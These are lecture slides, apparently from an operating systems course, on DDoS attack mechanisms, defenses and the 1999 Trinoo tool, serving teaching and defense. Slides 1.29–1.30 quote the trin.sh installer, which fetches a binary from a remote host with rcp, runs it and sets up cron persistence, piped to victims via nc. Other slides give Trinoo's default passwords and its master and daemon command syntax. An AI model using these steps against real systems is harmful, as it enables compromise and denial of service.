An Introduction to DDoS

And the “Trinoo” Attack Tool

Acknowledgement: Ray Lam, Ivan Wong

Operating System Concepts 1.1

 Outline

 Background on DDoS
 Attack mechanism
 Ways to defend
 The attack tool – Trinoo
 Introduction
 Attack scenario
 Symptoms and defense
 Weaknesses and next evolution

Operating System Concepts 1.2

 Background on DDoS

Attack mechanism

Operating System Concepts 1.3

 Denial-Of-Service

 Flooding-based
 Send packets to victims
 Network resources
 System resources
 Traditional DOS
 One attacker
 Distributed DOS
 Countless attackers

Operating System Concepts 1.4

 Attack Mechanism

A TCP SYN-ACK, TCP

 Direct Attack RST, ICMP, UDP..
TCP SYN, ICMP, UDP
With R’s Address as R
source IP address.

 Reflector Attack V

A
TCP SYN, ICMP, UDP.. With
V’s Address as source IP address.
R
TCP SYN-ACK, TCP RST, ICMP,
V UDP..

Operating System Concepts 1.5

 Attack Architecture
A
A TCP SYN,
ICMP,
Masters (handlers) UDP..
Masters (handlers) (with V’s
address as
Agents (Daemons or Zombies)
the source
Agents (Daemons or Zombies) IP
addresses)
Reflectors

TCP SYN, ICMP,

UDP.. (the source TCP SYN-ACK,
IP addresses are TCP RST,
usually spoofed) ICMP, UDP..
V V
Direct Attack Reflector Attack

Operating System Concepts 1.6

 Attack Methods

Attack packets Reply packets

Smurf ICMP echo queries to broadcast ICMP echo replies

address

SYN flooding TCP SYN packets TCP SYN ACK

packets

RST flooding TCP packets to closed ports TCP RST packets

ICMP flooding ICMP queries ICMP replies

UDP packets to closed ports Port unreachable
IP packets with low TTL Time exceeded

DNS reply DNS queries (recursive) to DNS DNS replies

flooding servers

Operating System Concepts 1.7

 BackScatter Analysis (Moore et al.)

 Measured DOS activity on the Internet.

 TCP (94+ %)
 UDP (2 %)
 ICMP (2 %)

TCP attacks based mainly on SYN flooding

Operating System Concepts 1.8

 Background on DDoS

Ways to defend

Operating System Concepts 1.9

 Strategy

 Three lines of defense:

 Attack prevention
- before the attack
 Attack detection and filtering
- during the attack
 Attack source traceback
- during and after the attack

Operating System Concepts 1.10

 Attack prevention

 Protect hosts from installation of masters

and agents by attackers
 Scan hosts for symptoms of agents being
installed
 Monitor network traffic for known message
exchanges among attackers, masters,
agents

Operating System Concepts 1.11

 Attack prevention

 Inadequate and hard to deploy

 Don’t-care users leave security holes
 ISP and enterprise networks do not have
incentives

Operating System Concepts 1.12

 Attack source traceback

 Identify actual origin of packet

 Without relying on source IP of packet
 2 approaches
 Routers record info of packets
 Routers send additional info of packets to
destination

Operating System Concepts 1.13

 Attack source traceback

 Source traceback cannot stop

ongoing DDoS attack
 Cannot trace origins behind firewalls,
NAT (network address translators)
 More to do for reflector attack (attack
packets from legitimate sources)
 Useful in post-attack law
enforcement

Operating System Concepts 1.14

 Attack detection and filtering

 Detection
 Identify DDoS attack and attack
packets
 Filtering
 Classify normal and attack packets
 Drop attack packets

Operating System Concepts 1.15

 Attack detection and filtering

 Can be done in 4 places

 Victim’s network
 Victim’s ISP network
 Further upstream ISP network
 Attack source networks
 Dispersed agents send packets to
single victim
 Like pouring packets from top of
funnel

Operating System Concepts 1.16

 Attack detection and filtering

increases
Effectiveness of detection
Attack source

increases
Effectiveness of filtering
networks

Further upstream
ISP networks

Victim’s ISP network

Victim’s network

Victim

Operating System Concepts 1.17

 Attack detection and filtering

 Detection
 Easy at victim’s network – large amount of
attack packets
 Difficult at individual agent’s network – small
amount of attack packets
 Filtering
 Effective at agents’ networks – less likely to
drop normal packets
 Ineffective at victim’s network – more normal
packets are dropped

Operating System Concepts 1.18

 D&F at agent’s network

 Usually cannot detect DDoS attack

 Can filter attack packets with
address spoofed
 Attack packets in direct attacks
 Attack packets from agents to
reflectors in reflector attacks
 Ensuring all ISPs to install ingress
packet filtering is impossible

Operating System Concepts 1.19

 D&F at victim’s network

 Detect DDoS attack

 Unusually high volume of incoming traffic of
certain packet types
 Degraded server and network performance
 Filtering is ineffective
 Attack and normal packets have same
destination – victim’s IP and port
 Attack packets have source IP spoofed or come
from many different IPs
 Attack and normal packets indistinguishable

Operating System Concepts 1.20

 D&F at victim’s upstream ISP

 Often requested by victim to filter attack

packets
 Alert protocol
 Victim cannot receive ACK from ISP
 Requires strong authentication and encryption
 Filtering ineffective
 ISP network may also be jammed

Operating System Concepts 1.21

 D&F at further upstream ISP

 Backpressure approach
 Victim detects DDoS attack
 Upstream ISPs filter attack packets

Operating System Concepts 1.22

 The attack tool – Trinoo

Introduction

Operating System Concepts 1.23

 Introduction

 Discovered in August 1999

 Daemons found on Solaris 2.x systems
 Attack a system in University of Minnesota
 Victim unusable for 2 days

Operating System Concepts 1.24

 Attack type

 UDP flooding
 Default size of UDP packet: 1000 bytes
 malloc() buffer of this size and send
uninitialized content
 Default period of attack: 120 seconds
 Destination port: randomly chosen from 0 –
65534

Operating System Concepts 1.25

 The attack tool – Trinoo

Attack scenario

Operating System Concepts 1.26

 Installation

1. Hack an account
 Acts as repository
 Scanning tools, attack tools, Trinoo
daemons, Trinoo maters, etc.
 Requirements
 High bandwidth connection
 Large number of users
 Little administrative oversight

Operating System Concepts 1.27

 Installation

2. Compromise systems
 Look for vulnerable systems
 Unpatched Sun Solaris and Linux
 Remote buffer overflow exploitation
 Set up root account
 Open TCP ports
 Keep a `friend list`

Operating System Concepts 1.28

 Installation

3. Install daemons
 Use “netcat” (“nc”) and “trin.sh”
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
 netcat
 Network version of “cat”
 trin.sh
 Shell script to set up daemons

Operating System Concepts 1.29

 Installation

 trin.sh

echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"

echo "echo rcp is done moving binary"

echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"

echo "/usr/sbin/rpc.listen"

echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"

echo "crontab cron"
echo "echo launched"
echo "exit"

Operating System Concepts 1.30

 Architecture

Attacker Direct
Attack
Masters (handlers)

Agents (Daemons or Zombies)

Victim
Operating System Concepts 1.31
 Communication ports

Attacker Master Daemon

Port 31335 UDP

TCP
Port 27665 UDP Port 27444

 Monitor specific ports to detect presence of master,

agent

Operating System Concepts 1.32

 Password protection

 Password used to prevent administrators or

other hackers to take control
 Encrypted password compiled into master
and daemon using crypt()
 Clear-text password is sent over network –
session is not encrypted
 Received password is encrypted and
compared

Operating System Concepts 1.33

 Password protection

 Default passwords
 “l44adsl” – trinoo daemon password
 “gOrave” – trinoo master server startup
 “betaalmostdone” – trinoo master remote
interface password
 “killme” – trinoo master password to
control “mdie” command

Operating System Concepts 1.34

 Login to master

 Telnet to port 27665 of the host with master

 Enter password “betaalmostdone”
 Warn if others try to connect the master

[root@r2 root]# telnet r1 27665

Trying 192.168.249.201...
Connected to r1.router (192.168.249.201).
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo>

Operating System Concepts 1.35

 Master and daemon

 Communicate by UDP packets

 Command line format
 arg1 password arg2
 Default password is “l44adsl”
 When daemon starts, it sends “HELLO” to
master
 Master maintains list of daemon

Operating System Concepts 1.36

 Master commands

 dos IP
 DoS the IP address specified
 “aaa l44adsl IP” sent to each daemon
 mdos <ip1:ip2:ip3>
 DoS the IPs simultaneously
 mtimer N
 Set attack period to N seconds

Operating System Concepts 1.37

 Master commands

 bcast
 List all daemons’ IP
 mdie password
 Shutdown all daemons
 killdead
 Invite all daemons to send “HELLO” to
master
 Delete all dead daemons from the list

Operating System Concepts 1.38

 Daemon commands

 Not directly used; only used by

master to send commands to
daemons
 Consist of 3 letters
 Avoid exposing the commands by using
Unix command “strings” on the binary

Operating System Concepts 1.39

 Daemon commands

 aaa password IP
 DoS specified IP
 bbb password N
 Set attack period to N seconds
 rsz password N
 Set attack packet size to N bytes

Operating System Concepts 1.40

 The attack tool – Trinoo

Symptoms and defense

Operating System Concepts 1.41

 Symptoms

 Masters
 Crontab

 Friend list
 … * * * * * /usr/sbin/rpc.listen
 …-b

# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b

Operating System Concepts 1.42

 Symptoms

 Masters (Con’t)
 Socket status

# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
...
udp 0 0 *:31335 *:*
...

Operating System Concepts 1.43

 Symptoms

 Masters (Con’t)
 File status

# lsof | egrep ":31335|:27665"

master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)

# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
Operating System Concepts 1.44
 Symptoms

 Daemons
 Socket status

# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
...
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
...

Operating System Concepts 1.45

 Symptoms

 Daemons (Con’t)
 File status

# lsof | egrep ":27444"

ns 1316 root 3u inet 2502 UDP *:27444

# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-
2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
Operating System Concepts 1.46
 Defenses

 Prevent root level compromise

 Patch systems
 Set up firewalls
 Monitor traffics
 Block abused ports
 High numbered UDP ports
 Trade off
 Also block normal programs using the same ports

Operating System Concepts 1.47

 The attack tool – Trinoo

Weaknesses and next evolution

Operating System Concepts 1.48

 Weaknesses

 Single kind of attack

 UDP flooding
 Easily defended by single defense tools
 Use IP as destination address
 “Moving target defense” – victim
changes IP to avoid attack

Operating System Concepts 1.49

 Weaknesses

 Password, encrypted password, commands

visible in binary images
 Use Unix command “strings” to obtain
- strings master
- strings –n3 ns
 Check if Trinoo found
 Crack the encrypted passwords

Operating System Concepts 1.50

 Weaknesses

 Password travels in plain text in network

 Daemon password frequently sent in master-to-
daemon commands
 Get password by “ngrep”, “tcpdump” which show
UDP payload

Operating System Concepts 1.51

 Uproot a Trinoo network

 Locate a daemon
 Use “strings” to obtain IPs of masters
 Contact sites with master installed
 Those sites check list of daemons
 By inspecting file “…” or get master login password
and use “bcast” command
 Get “mdie” password
 Use “mdie” to shut down all daemons
 “mdie” periodically as daemons restarted by crontab

Operating System Concepts 1.52

 Next evolution

 Combination of several attack types

 SYN flood, UDP flood, ICMP flood…
 Higher chance of successful attack
 Stronger encryption of embedded strings,
passwords
 Use encrypted communication channel
 Communicate by protocol difficult to be
detected or blocked, e.g. ICMP

Operating System Concepts 1.53

 References

 R. Chang, “Defending against Flooding-Based

Distributed Denial-of-Service Attacks: A Tutorial,”
Oct. 2002
 D. Dittrich, “The DoS Project’s ‘Trinoo’ Distributed
Denial of Service Attack Tool,”
http://staff.washington.edu/dittrich/misc/trinoo.anal
ysis.txt
, Oct. 1999

Operating System Concepts 1.54